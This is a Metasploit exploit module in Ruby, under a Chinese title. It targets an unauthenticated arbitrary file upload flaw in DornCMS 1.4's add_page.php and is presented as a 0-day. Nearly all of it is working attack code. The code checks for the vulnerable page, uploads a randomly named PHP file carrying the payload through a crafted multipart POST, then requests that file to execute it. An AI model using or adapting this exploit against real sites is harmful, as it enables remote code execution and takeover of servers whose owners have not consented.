DornCMS 1.4 'add_page.php'任意文件上传漏洞

require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "DornCMS 1.4 (add_page.php) Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Dorn Content Management Script (CMS), version 1.4. By abusing the add_page.php file,the Attacker can upload/add a new file (.php) to the /cms/pages/ directory without any authentication, which results in arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'KedAns-Dz <ked-h[at]1337day.com>', #Discovery PoC and Metasploit ], 'References' => [ ['URL', 'this p0c is 0-day'], # New 0day ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['DornCMS 1.4', {}] ], 'Privileged' => false, 'DisclosureDate' => "Mai 25 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to dorncms', '/dorncms_1.4']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}site/cms/add_page.php" }) if res and res.code == 200 and res.body.empty? return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" payload_name = Rex::Text.rand_text_alpha(rand(5) + 5) + '.php' post_data = "--1337day\r\n" post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n" post_data << "Content-Type : text/html;\r\n" post_data << "<?php " post_data << payload.encoded post_data << " ?>\r\n" post_data << "--1337day\r\n" print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}site/cms/add_page.php", 'ctype' => 'multipart/form-data; boundary=1337day', 'data' => post_data }) if not res or res.code != 200 or res.body !~ /#{payload_name}/ print_error("#{peer} - I don't think the file was uploaded !") return end print_status("#{peer} - Executing PHP payload (#{payload_name})") # Execute our payload res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}site/cms/pages/#{payload_name}" }) if res and res.code != 200 print_status("#{peer} - Server returns #{res.code.to_s}") end end